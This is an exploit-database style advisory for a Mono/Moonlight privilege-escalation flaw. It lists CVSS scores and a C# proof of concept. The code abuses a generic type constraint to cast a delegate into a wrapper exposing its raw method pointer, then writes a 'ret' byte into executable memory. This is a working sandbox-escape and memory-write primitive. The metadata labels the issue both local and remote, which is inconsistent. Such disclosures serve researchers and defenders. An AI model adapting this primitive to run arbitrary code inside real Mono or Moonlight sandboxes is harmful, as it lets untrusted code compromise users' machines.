Mono/Moonlight Generic Type Argument Local Privilege Escalation

Credit: Chris Howie
Risk: High
Local: No
Remote: Yes

CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Source: Mono and Moonlight is prone to a local privilege-escalation vulnerability. Local attackers can exploit this issue to execute arbitrary code with elevated privileges. Successful exploits will compromise the affected application and possibly the underlying computer. PoC: using System; using System.Reflection; using System.Runtime.InteropServices; public class DelegateWrapper { public IntPtr method_ptr; } public delegate void MethodWrapper (); public class BreakSandbox { private static DelegateWrapper Convert <T> (T dingus) where T : DelegateWrapper { return dingus; } private static DelegateWrapper ConvertDelegate (Delegate del) { var m = typeof (BreakSandbox).GetMethod ("Convert", BindingFlags.NonPublic | BindingFlags.Static); var gm = m.MakeGenericMethod (typeof (Delegate)); var d = (Func <Delegate, DelegateWrapper>) Delegate.CreateDelegate (typeof (Func <Delegate, DelegateWrapper>), null, gm); return d (del); } public static void Main (string [] args) { MethodWrapper d = delegate { Console.WriteLine ("Hello"); }; d (); var converted = ConvertDelegate (d); // Overwrite the already WX page with a 'ret' Marshal.WriteByte (converted.method_ptr, (byte) 0xc3); d (); } }


Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021,


Back to Top